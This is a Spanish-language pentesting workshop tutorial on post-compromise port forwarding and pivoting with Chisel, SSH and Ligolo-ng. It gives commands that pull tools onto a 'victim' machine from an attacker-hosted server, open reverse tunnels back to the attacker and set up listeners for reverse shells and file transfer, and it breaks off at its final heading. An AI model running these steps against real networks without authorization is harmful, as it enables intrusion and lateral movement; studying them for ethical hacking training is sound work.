MatthyGD
~/master/atrium/temario_09_port_forwarding_pivoting.md
Volver

Taller Hacking - Port Forwarding & Pivoting por Carmelo Garcia (Aka MatthyGD)


Informe Técnico: Port Forwarding & Pivoting

Índice

Que es el Port Forwarding

  1. Port Forwarding

Que es el Pivoting

  1. Pivoting

Realizando Port Forwarding

  1. Con Chisel
  2. Con SSH

Realizando Pivoting

  1. Con Ligolo-NG

Que es el Port Forwarding

Port Forwarding

El Port Forwarding (o redirección de puertos) es una técnica de redes que permite enviar (redirigir) el tráfico de internet que llega a tu router hacia un dispositivo específico dentro de tu red local.

Que es el Pivoting

Pivoting

El Pivoting (o pivoteo) es una técnica avanzada de ciberseguridad y hacking ético (pentesting o Red Team) que consiste en usar una máquina ya comprometida como “puente” o “pivote” para acceder a otros sistemas o redes internas que no son accesibles directamente desde tu posición inicial (el atacante).


Realizando Port Forwarding

Imaginémonos que una vez ingresado al servidor tenemos servicios que están desplegadas de manera interna dentro del servidor, en otras palabras; no tenemos acceso a dichos servicios desde nuestra maquina atacante.

Con la siguiente técnica podemos realizar un redireccionamiento de puertos del servidor victima hasta nuestra maquina atacante e interactuar con dicho servicio en nuestra maquina atacante de la siguiente manera:

Con Chisel

Chisel es un herramienta escrita en Go (golang) desarrollada por Jaime Pillora dev@jpillora.com que permite crear túneles TCP encapsulados en tráfico HTTP y protegidos por una capa SSH. Esta herramienta se compila en un solo ejecutable que puede funcionar como cliente o como servidor.

Paso 1 - Preparando el Entorno

Lo primero que haremos es descargar la herramienta necesaria:

Descargamos la herramienta

Script: <- Descargamos la herramienta.

wget https://github.com/jpillora/chisel/releases/download/v1.11.5/chisel_1.11.5_linux_amd64.gz

Es hora de descomprimir y transferir Chisel a la maquina victima.

Descomprimimos el contenido

Script: <- Descomprimimos la herramienta.

7z x <Archivo descargado>

Script: <- Le damos privilegios de ejecución.

chmod +x chisel

Ya lo tenemos todo listo, ahora, es importante que el servidor de la victima tenga también el chisel, para ello haremos una tranferencia rapida:

Transferencia a la maquina victima

Maquina atacante

Script: <- Iniciamos un servidor.

python3 -m http.server <Puerto>
Maquina victima

Script: <- Descargamos la herramienta desde el servidor creado desde nuestra maquina atacante.

wget http://<IP atacante>:<Puerto>/<Nombre del archivo>

Paso 2 - Realizando la técnica de Port Forwarding con Chisel

Ahora simplemente tenemos que hacer los siguientes comandos tanto en la maquina atacante como en la maquina victima:

Maquina atacante

Script: <- Creamos el servidor mediante chisel.

./chisel server --reverse -p <Puerto que queramos>

Maquina victima

Script: <- Traemos un puerto concreto de la maquina victima a nuestro maquina atacante.

./chisel client <IP atacante>:<Puerto que creamos en el chisel servidor> R:<Puerto Maquina atacante que ocupara para ese servicio>:127.0.0.1:<Puerto Maquina Victima>
Un ejemplo completo del comando anterior seria:

Script: <- Traemos un puerto concreto de la maquina victima a nuestro maquina atacante.

./chisel client 20.20.20.2:9999 R:8080:127.0.0.1:80

Y listo, si por ejemplo el servidor de la victima tenia una pagina web adicional o una base de datos de manera interna ya la podemos reconocer en nuestro equipo, para ello, siempre hay que hacer reconocimiento para ver si todo ha salido correctamente.

Paso 3 - Realizando el reconocimiento para observar que todo este bien implementado

Script: <- Hacemos un Escaneo con Nmap vía TCP con el Three Way HandShake.

nmap --stats-every=5s -p <Puerto extraido> --open --min-rate=5000 -T5 -A -sT -Pn -n -v localhost
Sin Three Way HandShake

Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.

nmap --stats-every=5s -p <Puerto extraido> --open --min-rate=5000 -T5 -A -sS -Pn -n -v localhost

Si el puerto esta expuesto en nuestro propio localhost, significa que lo tenemos implementado en nuestro equipo exitosamente.

Con SSH

Para realizar la técnica de Port Forwarding mediante SSH es necesario tener las credenciales y además saber el puerto que vamos a extraer de la siguiente manera:

Paso 1 - Realizando la técnica de Port Forwarding con SSH

Script: <- Empleamos port forwarding desde SSH.

ssh -L <Puerto Maquina atacante que ocupara para ese servicio>:127.0.0.1:<Puerto Maquina Victima> <Usuario>@<IP victima>
Un ejemplo completo del comando anterior seria:

Script: <- Empleamos port forwarding desde SSH.

ssh -L 8080:127.0.0.1:80 matt@20.20.20.2

Paso 2 - Realizando el reconocimiento para observar que todo este bien implementado

Script: <- Hacemos un Escaneo con Nmap vía TCP con el Three Way HandShake.

nmap --stats-every=5s -p <Puerto extraido> --open --min-rate=5000 -T5 -A -sT -Pn -n -v localhost
Sin Three Way HandShake

Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.

nmap --stats-every=5s -p <Puerto extraido> --open --min-rate=5000 -T5 -A -sS -Pn -n -v localhost

Si el puerto esta expuesto en nuestro propio localhost, significa que lo tenemos implementado en nuestro equipo exitosamente.


Realizando Pivoting

Con Ligolo-NG

Ligolo-ng es una herramienta de pivoting alternativa a chisel y socat, ligera y rápida que permite establecer túneles inversos seguros sin necesidad de utilizar SOCKS. A diferencia de otras herramientas, Ligolo-ng crea un túnel virtual al estilo de una VPN, lo que facilita el pivotaje y el uso de herramientas como nmap o netcat sin tener que pasar por un proxy SOCKS. Gracias a esta característica, Ligolo-ng ofrece conexiones más rápidas y estables, mejorando significativamente el rendimiento en comparación con el uso de SOCKS.

Paso 1 - Detección de una nueva Interfaz de Red dentro del servidor de la maquina victima (Maquina Victima)

La Detección de una nueva Interfaz de Red es crucial dentro un servidor comprometido ya que si existe una segunda (o mas) interfaz de red podemos expandir nuestros hallazgos al siguiente nivel descubriendo nuevos dispositivos, para ello haremos los siguientes comandos para descubrir si existe una interfaz nueva de red:

Con ifconfig

Script: <- Vemos las interfaces de redes dentro del servidor victima.

ifconfig

Con ip a

Script: <- Vemos las interfaces de redes dentro del servidor victima.

ip a

Con hostname -I

Script: <- Vemos las interfaces de redes dentro del servidor victima.

hostname -I

Paso 2 - Creando una Interfaz de Red Tunelizada (Maquina Atacante)

Si hemos visto que el servidor de la maquina victima tienes una interfaz de red entonces ya podemos ir creando nosotros una nueva interfaz de red en nuestra maquina atacante donde se alojara los datos de la interfaz de red de la maquina victima:

Script: <- Configuramos una Interfaz de red tunelada.

sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up && sudo ip route add <IP Victima>/<Subnetting> dev ligolo

Un ejemplo completo del comando anterior seria:

Script: <- Configuramos una Interfaz de red tunelada.

sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up && sudo ip route add 20.20.20.0/24 dev ligolo

Paso 3 - Descargamos Ligolo-NG (Maquina Atacante)

Para descargar la herramienta tenemos que hacer los siguientes comandos:

Descargando el Ligolo Proxy

Script: <- Descargamos el Ligolo Proxy.

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
Descomprimimos el Ligolo Proxy

Script: <- Descomprimimos el Ligolo Proxy.

tar -xvf <Archivo comprimido>

Descargando el Ligolo Agent

Script: <- Descargamos el Ligolo Agent.

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz
Descomprimimos el Ligolo Agent

Script: <- Descomprimimos el Ligolo Agent.

tar -xvf <Archivo comprimido>

Paso 4 - Transferir el Ligolo Agent a la maquina victima

Es importante que la maquina victima tenga el: “Ligolo Agent” ya que es completamente necesario para que la información viaje de manera tunelizada hasta nuestro equipo:

Transferencia a la maquina victima

Maquina atacante

Script: <- Iniciamos un servidor.

python3 -m http.server <Puerto>
Maquina victima

Script: <- Descargamos la herramienta desde el servidor creado desde nuestra maquina atacante.

wget http://<IP atacante>:<Puerto>/<Nombre del archivo>

Paso 5 - Desplegamos el Ligolo Proxy en nuestra maquina atacante (Maquina Atacante)

Es momento de desplegar el Ligolo Proxy en nuestra maquina atacante y lo haremos gracias al siguiente comando:

Script: <- Creamos el Proxy para recibir la información.

./ligolo_proxy -selfcert

Paso 6 - Conectamos la maquina victima a nuestro proxy (Maquina Victima)

En el anterior punto desplegamos el Ligolo Proxy y ahora es turno de que la maquina victima se conecte a dicho proxy con el siguiente comando:

Script: <- Nos conectamos al proxy desplegado anteriormente para vincularlo a la maquina atacante.

./ligolo_agent -connect <IP atacante>:11601 -ignore-cert

Paso 7 - Tunelizamos la Interfaz de Red (Maquina Atacante)

Una vez que la maquina victima este vinculada a nosotros entonces es momento de automatizar la tunelización hacia nuestra interfaz de red tunelizada para ello tenemos que hacer los siguientes comandos:

Script: <- Vemos las sesiones activas y elegimos cual queremos usar.

session

Elegimos la sesión activa, se mueve con las flechitas del teclado y para aceptar pulsamos la tecla: “ENTER”

Una vez estemos dentro de la sesión tunelizamos la información de la siguiente manera.

Script: <- Aplicamos la tunelización.

start --tun ligolo

Paso 8 - Creamos las Reglas necesarias para transmitir datos (Maquina Atacante)

Este paso es el mas crucial y donde muchos entusiastas en ciberseguridad fallan ya que al no crear reglas no le estamos diciendo a donde apuntar para acontecer Reverse Shell, pasar archivos al servidor de la maquina victima o conectarnos a otras interfaces de redes mas adelante si fuera necesario, así que haremos los siguientes comandos:

Para conectar el Ligolo-NG Agente a nuestro Ligolo-NG Proxy (El puerto NO se puede cambiar)

Si queremos dejar preparado una regla donde permita conectar el Ligolo-NG Agente a nuestro Ligolo-NG Proxy nuevamente haremos el siguiente comando:

Script: <- Haremos este comando en TODAS las sesiones:

listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
Para pasar archivos (El puerto SI se puede cambiar)

Si queremos dejar preparado una regla donde permita un puerto para poder usarlo e intercambiar archivos haremos el siguiente comando:

Script: <- Haremos este comando en TODAS las sesiones:

listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080
Para crear Reverse Shell (El puerto SI se puede cambiar)

Si queremos dejar preparado una regla donde permita el puerto seleccionado transmitar Reverse Shell el siguiente comando:

Script: <- Haremos este comando en TODAS las sesiones:

listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:1234
Para ver todos los listener de nuestro Ligolo-NG Proxy

Para ello haremos el siguiente comando:

Script: <- Comando ver todos los listener de nuestro Ligolo-NG Proxy:

listener_list

Paso 9 - Deteccion de nuevos dispositivos dentro de la Interfaz de Red Tunelizada (Maquina Atacante)

Una vez hayamos echo todo correctamente tendremos ya la Interfaz de Red Tunelizada con los equipos conectados de la Interfaz de Red victima y para ello haremos el siguiente comando:

Con fping

Ahora tocaría enumerar las IP dentro de las interfaces que nos hayamos traído:

Script: <- Enumeramos las IP de la interfaz que nos hemos traído para posteriormente enumerarlos con herramientas como: “Nmap”

fping -asgq <IP Victima>/<Subnetting>

Si obtenemos una nueva IP diferente a de la maquina victima anterior, entonces, tenemos que seguir auditando desde cero nuevamente hasta comprometer el nuevo servidor.

Recordatorio

Recordemos que nuestra IP privada ya no se volverá a usar mas ya que no tendremos acceso desde la segunda maquina hasta nuestra maquina Kali Linux, para ello usaremos siempre la IP de la maquina comprometida anterior (Maquina de Salto) con la IP de la segunda interfaz de que descubrimos.

Comandos para limpiar todo el registro

Si queremos borrar todo lo que hemos puesto haremos lo siguiente:

Script: <- Borramos la interfaz de tunelado de Ligolo.

sudo ip link delete ligolo 2>/dev/null

Recomendaciones Finales